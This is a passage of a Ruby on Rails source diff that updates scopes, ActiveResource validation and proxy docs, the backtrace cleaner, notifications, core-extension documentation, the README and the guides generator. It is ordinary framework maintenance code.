+ scope :approved_as_hash_condition, :conditions => {:topics => {:approved => true}}
+ scope 'approved_as_string', :conditions => {:approved => true}
+ scope :replied, :conditions => ['replies_count > 0']
+ scope :anonymous_extension do
def one
1
end
@@ -33,8 +33,8 @@ class Topic < ActiveRecord::Base
2
end
end
- named_scope :named_extension, :extend => NamedExtension
- named_scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
+ scope :named_extension, :extend => NamedExtension
+ scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
diff --git a/activeresource/lib/active_resource/base.rb b/activeresource/lib/active_resource/base.rb
index a6243e7011..b841108bd1 100644
--- a/activeresource/lib/active_resource/base.rb
+++ b/activeresource/lib/active_resource/base.rb
@@ -42,6 +42,13 @@ module ActiveResource
# self.element_name = "person"
# end
#
+ # If your Active Resource object is required to use an HTTP proxy you can set the +proxy+ value which holds a URI.
+ #
+ # class PersonResource < ActiveResource::Base
+ # self.site = "http://api.people.com:3000/"
+ # self.proxy = "http://user:password@proxy.people.com:8080"
+ # end
+ #
#
# == Lifecycle methods
#
diff --git a/activeresource/lib/active_resource/validations.rb b/activeresource/lib/active_resource/validations.rb
index 67b69fa505..7b2382bd8c 100644
--- a/activeresource/lib/active_resource/validations.rb
+++ b/activeresource/lib/active_resource/validations.rb
@@ -58,9 +58,8 @@ module ActiveResource
# person.save # => true (and person is now saved to the remote service)
#
module Validations
- extend ActiveSupport::Concern
+ extend ActiveSupport::Concern
include ActiveModel::Validations
- extend ActiveModel::Validations::ClassMethods
included do
alias_method_chain :save, :validation
@@ -68,7 +67,17 @@ module ActiveResource
# Validate a resource and save (POST) it to the remote web service.
# If any local validations fail - the save (POST) will not be attempted.
- def save_with_validation(perform_validation = true)
+ def save_with_validation(options=nil)
+ perform_validation = case options
+ when Hash
+ options[:validate] != false
+ when NilClass
+ true
+ else
+ ActiveSupport::Deprecation.warn "save(#{options}) is deprecated, please give save(:validate => #{options}) instead", caller
+ options
+ end
+
# clear the remote validations so they don't interfere with the local
# ones. Otherwise we get an endless loop and can never change the
# fields so as to make the resource valid
diff --git a/activeresource/test/cases/validations_test.rb b/activeresource/test/cases/validations_test.rb
index c05f625fb7..82546424f2 100644
--- a/activeresource/test/cases/validations_test.rb
+++ b/activeresource/test/cases/validations_test.rb
@@ -30,6 +30,19 @@ class ValidationsTest < ActiveModel::TestCase
assert_raise(ActiveResource::ResourceInvalid) { p.save! }
end
+ def test_save_without_validation
+ p = new_project(:name => nil)
+ assert !p.save
+ assert p.save(:validate => false)
+ end
+
+ def test_deprecated_save_without_validation
+ p = new_project(:name => nil)
+ assert !p.save
+ assert_deprecated do
+ assert p.save(false)
+ end
+ end
def test_validate_callback
# we have a callback ensuring the description is longer than three letters
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index 0e262c003e..6fab565646 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -9,7 +9,7 @@ module ActiveSupport
# Example:
#
# bc = BacktraceCleaner.new
- # bc.add_filter { |line| line.gsub(Rails.root, '') }
+ # bc.add_filter { |line| line.gsub(Rails.root, '') }
# bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
# bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
#
@@ -18,10 +18,19 @@ module ActiveSupport
def initialize
@filters, @silencers = [], []
end
-
+
# Returns the backtrace after all filters and silencers has been run against it. Filters run first, then silencers.
- def clean(backtrace)
- silence(filter(backtrace))
+ def clean(backtrace, kind = :silent)
+ filtered = filter(backtrace)
+
+ case kind
+ when :silent
+ silence(filtered)
+ when :noise
+ noise(filtered)
+ else
+ filtered
+ end
end
# Adds a filter from the block provided. Each line in the backtrace will be mapped against this filter.
@@ -51,21 +60,28 @@ module ActiveSupport
@silencers = []
end
-
private
def filter(backtrace)
@filters.each do |f|
backtrace = backtrace.map { |line| f.call(line) }
end
-
+
backtrace
end
-
+
def silence(backtrace)
@silencers.each do |s|
backtrace = backtrace.reject { |line| s.call(line) }
end
-
+
+ backtrace
+ end
+
+ def noise(backtrace)
+ @silencers.each do |s|
+ backtrace = backtrace.select { |line| s.call(line) }
+ end
+
backtrace
end
end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 6360a4614e..7213b24f2d 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -30,7 +30,7 @@ module ActiveSupport
#
# ActiveSupport::Cache.lookup_store(:memory_store)
# # => returns a new ActiveSupport::Cache::MemoryStore object
- #
+ #
# ActiveSupport::Cache.lookup_store(:mem_cache_store)
# # => returns a new ActiveSupport::Cache::MemCacheStore object
#
@@ -97,7 +97,7 @@ module ActiveSupport
# Ruby objects, but don't count on every cache store to be able to do that.
#
# cache = ActiveSupport::Cache::MemoryStore.new
- #
+ #
# cache.read("city") # => nil
# cache.write("city", "Duckburgh")
# cache.read("city") # => "Duckburgh"
@@ -139,7 +139,7 @@ module ActiveSupport
#
# cache.write("today", "Monday")
# cache.fetch("today") # => "Monday"
- #
+ #
# cache.fetch("city") # => nil
# cache.fetch("city") do
# "Duckburgh"
@@ -198,7 +198,7 @@ module ActiveSupport
# You may also specify additional options via the +options+ argument.
# The specific cache store implementation will decide what to do with
# +options+.
- #
+ #
# For example, MemCacheStore supports the +:expires_in+ option, which
# tells the memcached server to automatically expire the cache item after
# a certain period:
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 8719dc0e3f..6727eda811 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -531,7 +531,7 @@ module ActiveSupport
# to change this behavior.
#
# * <tt>:scope</tt> - Show which methods should be executed when a class
- # is giben as callback:
+ # is given as callback:
#
# define_callbacks :filters, :scope => [ :kind ]
#
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index d7606bb9b0..c69a015f12 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -4,7 +4,7 @@ class Array
# %w( a b c d ).from(0) # => %w( a b c d )
# %w( a b c d ).from(2) # => %w( c d )
# %w( a b c d ).from(10) # => nil
- # %w().from(0) # => nil
+ # %w().from(0) # => %w()
def from(position)
self[position..-1]
end
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
index f48d5ce500..e211bdeeca 100644
--- a/activesupport/lib/active_support/core_ext/array/wrap.rb
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -1,6 +1,15 @@
class Array
# Wraps the object in an Array unless it's an Array. Converts the
# object to an Array using #to_ary if it implements that.
+ #
+ # It differs with Array() in that it does not call +to_a+ on
+ # the argument:
+ #
+ # Array(:foo => :bar) # => [[:foo, :bar]]
+ # Array.wrap(:foo => :bar) # => [{:foo => :bar}]
+ #
+ # Array("foo\nbar") # => ["foo\n", "bar"], in Ruby 1.8
+ # Array.wrap("foo\nbar") # => ["foo\nbar"]
def self.wrap(object)
if object.nil?
[]
diff --git a/activesupport/lib/active_support/core_ext/exception.rb b/activesupport/lib/active_support/core_ext/exception.rb
index b594fbae8e..ef801e713d 100644
--- a/activesupport/lib/active_support/core_ext/exception.rb
+++ b/activesupport/lib/active_support/core_ext/exception.rb
@@ -1,50 +1,3 @@
module ActiveSupport
FrozenObjectError = RUBY_VERSION < '1.9' ? TypeError : RuntimeError
end
-
-# TODO: Turn all this into using the BacktraceCleaner.
-class Exception # :nodoc:
- # Clean the paths contained in the message.
- def self.clean_paths(string)
- require 'pathname' unless defined? Pathname
- string.gsub(%r{[\w. ]+(/[\w. ]+)+(\.rb)?(\b|$)}) do |path|
- Pathname.new(path).cleanpath
- end
- end
-
- def clean_message
- Exception.clean_paths(message)
- end
-
- TraceSubstitutions = []
- FrameworkStart = /action_controller\/dispatcher\.rb/.freeze
- FrameworkRegexp = /generated|vendor|dispatch|ruby|script\/\w+/.freeze
-
- def clean_backtrace
- backtrace.collect do |line|
- substituted = TraceSubstitutions.inject(line) do |result, (regexp, sub)|
- result.gsub regexp, sub
- end
- Exception.clean_paths(substituted)
- end
- end
-
- def application_backtrace
- before_framework_frame = nil
- before_application_frame = true
-
- trace = clean_backtrace.reject do |line|
- before_framework_frame ||= (line =~ FrameworkStart)
- non_app_frame = (line =~ FrameworkRegexp)
- before_application_frame = false unless non_app_frame
- before_framework_frame || (non_app_frame && !before_application_frame)
- end
-
- # If we didn't find any application frames, return an empty app trace.
- before_application_frame ? [] : trace
- end
-
- def framework_backtrace
- clean_backtrace.grep FrameworkRegexp
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index cfd840fb93..48b185d05e 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -69,6 +69,54 @@ class Hash
)
end
+ # Returns a string containing an XML representation of its receiver:
+ #
+ # {"foo" => 1, "bar" => 2}.to_xml
+ # # =>
+ # # <?xml version="1.0" encoding="UTF-8"?>
+ # # <hash>
+ # # <foo type="integer">1</foo>
+ # # <bar type="integer">2</bar>
+ # # </hash>
+ #
+ # To do so, the method loops over the pairs and builds nodes that depend on
+ # the _values_. Given a pair +key+, +value+:
+ #
+ # * If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
+ #
+ # * If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>,
+ # and +key+ singularized as <tt>:children</tt>.
+ #
+ # * If +value+ is a callable object it must expect one or two arguments. Depending
+ # on the arity, the callable is invoked with the +options+ hash as first argument
+ # with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its
+ # return value becomes a new node.
+ #
+ # * If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
+ #
+ # * Otherwise, a node with +key+ as tag is created with a string representation of
+ # +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
+ # Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is
+ # added as well according to the following mapping:
+ #
+ # XML_TYPE_NAMES = {
+ # "Symbol" => "symbol",
+ # "Fixnum" => "integer",
+ # "Bignum" => "integer",
+ # "BigDecimal" => "decimal",
+ # "Float" => "float",
+ # "TrueClass" => "boolean",
+ # "FalseClass" => "boolean",
+ # "Date" => "date",
+ # "DateTime" => "datetime",
+ # "Time" => "datetime"
+ # }
+ #
+ # By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
+ #
+ # The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can
+ # configure your own builder with the <tt>:builder</tt> option. The method also accepts
+ # options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
def to_xml(options = {})
require 'builder' unless defined?(Builder)
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index 6d04cb5621..207801d3a7 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -3,6 +3,14 @@ class Hash
# limiting a set of parameters to everything but a few known toggles:
#
# @person.update_attributes(params[:person].except(:admin))
+ #
+ # If the receiver responds to +convert_key+, the method is called on each of the
+ # arguments. This allows +except+ to play nice with hashes with indifferent access
+ # for instance:
+ #
+ # {:a => 1}.with_indifferent_access.except(:a) # => {}
+ # {:a => 1}.with_indifferent_access.except("a") # => {}
+ #
def except(*keys)
dup.except!(*keys)
end
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index b30e1602b6..0420e206af 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -1,6 +1,11 @@
require 'active_support/hash_with_indifferent_access'
class Hash
+
+ # Returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
+ #
+ # {:a => 1}.with_indifferent_access["a"] # => 1
+ #
def with_indifferent_access
hash = ActiveSupport::HashWithIndifferentAccess.new(self)
hash.default = self.default
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index ffaa69570f..ecd63293b4 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -15,7 +15,8 @@ class Hash
self
end
- # Return a new hash with all keys converted to symbols.
+ # Return a new hash with all keys converted to symbols, as long as
+ # they respond to +to_sym+.
def symbolize_keys
inject({}) do |options, (key, value)|
options[(key.to_sym rescue key) || key] = value
@@ -23,7 +24,8 @@ class Hash
end
end
- # Destructively convert all keys to symbols.
+ # Destructively convert all keys to symbols, as long as they respond
+ # to +to_sym+.
def symbolize_keys!
self.replace(self.symbolize_keys)
end
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index a2d4d50076..b05325790c 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -1,3 +1,19 @@
+# Most objects are cloneable, but not all. For example you can't dup +nil+:
+#
+# nil.dup # => TypeError: can't dup NilClass
+#
+# Classes may signal their instances are not duplicable removing +dup+/+clone+
+# or raising exceptions from them. So, to dup an arbitrary object you normally
+# use an optimistic approach and are ready to catch an exception, say:
+#
+# arbitrary_object.dup rescue object
+#
+# Rails dups objects in a few critical spots where they are not that arbitrary.
+# That rescue is very expensive (like 40 times slower than a predicate), and it
+# is often triggered.
+#
+# That's why we hardcode the following cases and check duplicable? instead of
+# using that rescue idiom.
class Object
# Can you safely .dup this object?
# False for nil, false, true, symbols, numbers, class and module objects; true otherwise.
diff --git a/activesupport/lib/active_support/core_ext/rexml.rb b/activesupport/lib/active_support/core_ext/rexml.rb
index 5288b639a6..0419ebc84b 100644
--- a/activesupport/lib/active_support/core_ext/rexml.rb
+++ b/activesupport/lib/active_support/core_ext/rexml.rb
@@ -2,7 +2,10 @@ require 'active_support/core_ext/kernel/reporting'
# Fixes the rexml vulnerability disclosed at:
# http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/
-# This fix is identical to rexml-expansion-fix version 1.0.1
+# This fix is identical to rexml-expansion-fix version 1.0.1.
+#
+# We still need to distribute this fix because albeit the REXML
+# in recent 1.8.7s is patched, it wasn't in early patchlevels.
require 'rexml/rexml'
# Earlier versions of rexml defined REXML::Version, newer ones REXML::VERSION
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index 182b3e745d..64bc8f6cea 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -7,7 +7,7 @@ class String
# Examples:
# "hello".at(0) # => "h"
# "hello".at(4) # => "o"
- # "hello".at(10) # => nil
+ # "hello".at(10) # => ERROR if < 1.9, nil in 1.9
def at(position)
mb_chars[position, 1].to_s
end
@@ -17,7 +17,7 @@ class String
# Examples:
# "hello".from(0) # => "hello"
# "hello".from(2) # => "llo"
- # "hello".from(10) # => nil
+ # "hello".from(10) # => "" if < 1.9, nil in 1.9
def from(position)
mb_chars[position..-1].to_s
end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
index c7225fec06..3eb0bf31f8 100644
--- a/activesupport/lib/active_support/multibyte/chars.rb
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -385,7 +385,7 @@ module ActiveSupport #:nodoc:
# Convert characters in the string to uppercase.
#
# Example:
- # 'Laurent, òu sont les tests?'.mb_chars.upcase.to_s #=> "LAURENT, ÒU SONT LES TESTS?"
+ # 'Laurent, où sont les tests ?'.mb_chars.upcase.to_s #=> "LAURENT, OÙ SONT LES TESTS ?"
def upcase
apply_mapping :uppercase_mapping
end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index 3e96decb8c..a1383bb478 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -45,7 +45,7 @@ module ActiveSupport
class << self
attr_writer :notifier
delegate :publish, :subscribe, :to => :notifier
- delegate :instrument, :to => :instrumenter
+ delegate :instrument, :instrument!, :to => :instrumenter
def notifier
@notifier ||= Notifier.new
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index f3d877efe7..7c5b118ee3 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -20,6 +20,15 @@ module ActiveSupport
result
end
+ # The same as instrument, but sends the notification even if the yielded
+ # block raises an error.
+ def instrument!(name, payload={})
+ time = Time.now
+ yield(payload) if block_given?
+ ensure
+ @notifier.publish(name, time, Time.now, @id, payload)
+ end
+
private
def unique_id
SecureRandom.hex(10)
diff --git a/activesupport/test/core_ext/exception_test.rb b/activesupport/test/core_ext/exception_test.rb
deleted file mode 100644
index e63842c0bd..0000000000
--- a/activesupport/test/core_ext/exception_test.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/exception'
-
-class ExceptionExtTests < Test::Unit::TestCase
-
- def get_exception(cls = RuntimeError, msg = nil, trace = nil)
- begin raise cls, msg, (trace || caller)
- rescue Exception => e # passed Exception
- return e
- end
- end
-
- def setup
- Exception::TraceSubstitutions.clear
- end
-
- def test_clean_backtrace
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, 'RAWR', ['bhal.rb', 'rawh hid den stuff is not here', 'almost all']
- assert_kind_of Exception, e
- assert_equal ['bhal.rb', 'rawh hid den stuff is not here', 'almost all'], e.clean_backtrace
- end
-
- def test_app_backtrace
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, 'RAWR', ['bhal.rb', ' vendor/file.rb some stuff', 'almost all']
- assert_kind_of Exception, e
- assert_equal ['bhal.rb', 'almost all'], e.application_backtrace
- end
-
- def test_app_backtrace_with_before
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, 'RAWR', ['vendor/file.rb some stuff', 'bhal.rb', ' vendor/file.rb some stuff', 'almost all']
- assert_kind_of Exception, e
- assert_equal ['vendor/file.rb some stuff', 'bhal.rb', 'almost all'], e.application_backtrace
- end
-
- def test_framework_backtrace_with_before
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, 'RAWR', ['vendor/file.rb some stuff', 'bhal.rb', ' vendor/file.rb some stuff', 'almost all']
- assert_kind_of Exception, e
- assert_equal ['vendor/file.rb some stuff', ' vendor/file.rb some stuff'], e.framework_backtrace
- end
-
- def test_backtrace_should_clean_paths
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, 'RAWR', ['a/b/c/../d/../../../bhal.rb', 'rawh hid den stuff is not here', 'almost all']
- assert_kind_of Exception, e
- assert_equal ['bhal.rb', 'rawh hid den stuff is not here', 'almost all'], e.clean_backtrace
- end
-
- def test_clean_message_should_clean_paths
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, "I dislike a/z/x/../../b/y/../c", ['a/b/c/../d/../../../bhal.rb', 'rawh hid den stuff is not here', 'almost all']
- assert_kind_of Exception, e
- assert_equal "I dislike a/b/c", e.clean_message
- end
-
- def test_app_trace_should_be_empty_when_no_app_frames
- Exception::TraceSubstitutions << [/\s*hidden.*/, '']
- e = get_exception RuntimeError, 'RAWR', ['vendor/file.rb some stuff', 'generated/bhal.rb', ' vendor/file.rb some stuff', 'generated/almost all']
- assert_kind_of Exception, e
- assert_equal [], e.application_backtrace
- end
-
- def test_frozen_error
- assert_raise(ActiveSupport::FrozenObjectError) { "foo".freeze.gsub!(/oo/,'aa') }
- end
-end
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
index c3eb1a4eb5..c41d81fe7e 100644
--- a/activesupport/test/notifications_test.rb
+++ b/activesupport/test/notifications_test.rb
@@ -90,6 +90,22 @@ module Notifications
drain
end
+ def test_instrument_with_bang_returns_result_even_on_failure
+ begin
+ instrument!(:awesome, :payload => "notifications") do
+ raise "OMG"
+ end
+ flunk
+ rescue
+ end
+
+ drain
+
+ assert_equal 1, @events.size
+ assert_equal :awesome, @events.last.name
+ assert_equal Hash[:payload => "notifications"], @events.last.payload
+ end
+
def test_instrument_yields_the_paylod_for_further_modification
assert_equal 2, instrument(:awesome) { |p| p[:result] = 1 + 1 }
drain
diff --git a/railties/README b/railties/README
index 221e8486d1..64dea89585 100644
--- a/railties/README
+++ b/railties/README
@@ -1,7 +1,7 @@
== Welcome to Rails
-Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the Model-View-Control pattern.
+Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the Model-View-Control pattern.
This pattern splits the view (also called the presentation) into "dumb" templates
that are primarily responsible for inserting pre-built data in between HTML tags.
@@ -46,9 +46,9 @@ getting up and running with mongrel is as easy as: <tt>gem install mongrel</tt>.
More info at: http://mongrel.rubyforge.org
Other ruby web servers exist which can run your rails application, however script/server does
-not search for them or start them. These include Thin, Ebb, and Apache with mod_rails.
+not search for them or start them. These include {Thin}[http://code.macournoyer.com/thin/], {Ebb}[http://ebb.rubyforge.org/], and Apache with {mod_rails}[http://www.modrails.com/].
-For production use, often a web/proxy server such as Apache, LiteSpeed, Lighttpd or IIS is
+For production use, often a web/proxy server such as {Apache}[http://apache.org], {Nginx}[http://nginx.net/], {LiteSpeed}[http://litespeedtech.com/], {Lighttpd}[http://www.lighttpd.net/] or {IIS}[http://www.iis.net/] is
deployed as the front-end server, with the chosen ruby web server running in the back-end
and receiving the proxied requests via one of several protocols (HTTP, CGI, FCGI).
@@ -131,7 +131,7 @@ and also on programming in general.
Debugger support is available through the debugger command when you start your Mongrel or
Webrick server with --debugger. This means that you can break out of execution at any point
-in the code, investigate and change the model, AND then resume execution!
+in the code, investigate and change the model, AND then resume execution!
You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'
Example:
@@ -163,13 +163,20 @@ Finally, when you're ready to resume execution, you enter "cont"
== Console
-You can interact with the domain model by starting the console through <tt>script/console</tt>.
-Here you'll have all parts of the application configured, just like it is when the
+The console is a ruby shell, which allows you to interact with your application's domain
+model. Here you'll have all parts of the application configured, just like it is when the
application is running. You can inspect domain models, change values, and save to the
database. Starting the script without arguments will launch it in the development environment.
-Passing an argument will specify a different environment, like <tt>script/console production</tt>.
-To reload your controllers and models after launching the console run <tt>reload!</tt>
+To start the console, just run <tt>script/console</tt> from the application directory.
+
+Options:
+
+* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications made to the database.
+* Passing an environment name as an argument will load the corresponding environment.
+ Example: <tt>script/console production</tt>.
+
+More information about irb can be found at link:http://www.rubycentral.com/pickaxe/irb.html
== dbconsole
@@ -181,6 +188,43 @@ Currently works for mysql, postgresql and sqlite.
== Description of Contents
+The default directory structure of a generated Ruby on Rails applicartion:
+
+ |-- app
+ | |-- controllers
+ | |-- helpers
+ | |-- models
+ | `-- views
+ | `-- layouts
+ |-- config
+ | |-- environments
+ | |-- initializers
+ | `-- locales
+ |-- db
+ |-- doc
+ |-- lib
+ | `-- tasks
+ |-- log
+ |-- public
+ | |-- images
+ | |-- javascripts
+ | `-- stylesheets
+ |-- script
+ | `-- performance
+ |-- test
+ | |-- fixtures
+ | |-- functional
+ | |-- integration
+ | |-- performance
+ | `-- unit
+ |-- tmp
+ | |-- cache
+ | |-- pids
+ | |-- sessions
+ | `-- sockets
+ `-- vendor
+ `-- plugins
+
app
Holds all the code that's specific to this particular application.
diff --git a/railties/bin/rails b/railties/bin/rails
index b8b2d6188f..afcd9fd0be 100755
--- a/railties/bin/rails
+++ b/railties/bin/rails
@@ -22,6 +22,6 @@ ARGV << "--help" if ARGV.empty?
require 'rails/generators'
-require 'rails/generators/rails/app/app_generator'
+require 'generators/rails/app/app_generator'
Rails::Generators::AppGenerator.start
diff --git a/railties/guides/rails_guides.rb b/railties/guides/rails_guides.rb
index e0532812e4..0d9458bf0f 100644
--- a/railties/guides/rails_guides.rb
+++ b/railties/guides/rails_guides.rb
@@ -1,5 +1,8 @@
pwd = File.dirname(__FILE__)
-$: << pwd
+$:.unshift pwd
+
+# Loading Action Pack requires rack and erubis.
+require 'rubygems'
begin
as_lib = File.join(pwd, "../../activesupport/lib")
@@ -11,7 +14,6 @@ begin
require "action_controller"
require "action_view"
rescue LoadError
- require 'rubygems'
gem "actionpack", '>= 2.3'
require "action_controller"
@@ -19,7 +21,6 @@ rescue LoadError
end
begin
- require 'rubygems'
gem 'RedCloth', '>= 4.1.1'
rescue Gem::LoadError
$stderr.puts %(Generating Guides requires RedCloth 4.1.1+)
@@ -29,11 +30,11 @@ end
require 'redcloth'
module RailsGuides
- autoload :Generator, "rails_guides/generator"
- autoload :Indexer, "rails_guides/indexer"
- autoload :Helpers, "rails_guides/helpers"
+ autoload :Generator, "rails_guides/generator"
+ autoload :Indexer, "rails_guides/indexer"
+ autoload :Helpers, "rails_guides/helpers"
autoload :TextileExtensions, "rails_guides/textile_extensions"
- autoload :Levenshtein, "rails_guides/levenshtein"
+ autoload :Levenshtein, "rails_guides/levenshtein"
end
RedCloth.send(:include, RailsGuides::TextileExtensions)
diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb
index 2a4714b13a..bd25111405 100644
--- a/railties/guides/rails_guides/generator.rb
+++ b/railties/guides/rails_guides/generator.rb
@@ -1,5 +1,11 @@
require 'set'
+class String
+ def html_safe!
+ self
+ end unless "post 9415935902f120a9bac0bfce7129725a0db38ed3".respond_to?(:html_safe!)
+end
+
module RailsGuides
class Generator
attr_reader :output, :view_path, :view, :guides_dir
@@ -18,7 +24,7 @@ module RailsGuides
end
def generate
- guides = Dir.entries(view_path).find_all {|g| g =~ /textile$/ }
+ guides = Dir.entries(view_path).find_all {|g| g =~ /\.textile(?:\.erb)?$/ }
if ENV["ONLY"]
only = ENV["ONLY"].split(",").map{|x| x.strip }.map {|o| "#{o}.textile" }
@@ -36,7 +42,7 @@ module RailsGuides
end
def generate_guide(guide)
- guide =~ /(.*?)(\.erb)?\.textile/
+ guide =~ /(.*?)\.textile(?:\.erb)?$/
name = $1
puts "Generating #{name}"
@@ -46,7 +52,7 @@ module RailsGuides
@view = ActionView::Base.new(view_path)
@view.extend(Helpers)
- if guide =~ /\.erb\.textile/
+ if guide =~ /\.textile\.erb$/
# Generate the erb pages with textile formatting - e.g. index/authors
result = view.render(:layout => 'layout', :file => guide)
f.write textile(result)
@@ -55,7 +61,7 @@ module RailsGuides
body = set_header_section(body, @view)
body = set_index(body, @view)
- result = view.render(:layout => 'layout', :text => textile(body))
+ result = view.render(:layout => 'layout', :text => textile(body).html_safe!)
f.write result
warn_about_broken_links(result) if ENV.key?("WARN_BROKEN_LINKS")
end
@@ -71,8 +77,8 @@ module RailsGuides
header = textile(header)
- view.content_for(:page_title) { page_title }
- view.content_for(:header_section) { header }
+ view.content_for(:page_title) { page_title.html_safe! }
+ view.content_for(:header_section) { header.html_safe! }
new_body
end
@@ -95,7 +101,7 @@ module RailsGuides
view.content_tag(:li, l)
end
- children_ul = view.content_tag(:ul, children)
+ children_ul = view.content_tag(:ul, children.join(" "))
index << view.content_tag(:li, link + children_ul)
end
@@ -103,7 +109,7 @@ module RailsGuides
index << '</ol>'
index << '</div>'
- view.content_for(:index_section) { index }
+ view.content_for(:index_section) { index.html_safe! }
i.result
end
diff --git a/railties/guides/rails_guides/indexer.rb b/railties/guides/rails_guides/indexer.rb
index 5b5ad3fee1..939404c85f 100644
--- a/railties/guides/rails_guides/indexer.rb
+++ b/railties/guides/rails_guides/indexer.rb
@@ -19,9 +19,9 @@ module RailsGuides
level_hash = ActiveSupport::OrderedHash.new
while !s.eos?
- s.match?(/\h[0-9]\..*$/)
+ s.match?(/h[0-9]\..*$/)
if matched = s.matched
- matched =~ /\h([0-9])\.(.*)$/
+ matched =~ /h([0-9])\.(.*)$/
level, title = $1.to_i, $2
if level < current_level
diff --git a/railties/guides/source/2_2_release_notes.textile b/railties/guides/source/2_2_release_notes.textile
index 15a7bdbd44..78f28d1d76 100644
--- a/railties/guides/source/2_2_release_notes.textile
+++ b/railties/guides/source/2_2_release_notes.textile
@@ -18,7 +18,7 @@ Rails 2.2 supplies an easy system for internationalization (or i18n, for those o
* More information :
** "Official Rails i18 website":http://rails-i18n.org
** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
-** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl
+** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app
h4. Compatibility with Ruby 1.9 and JRuby
@@ -28,20 +28,20 @@ h3. Documentation
The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
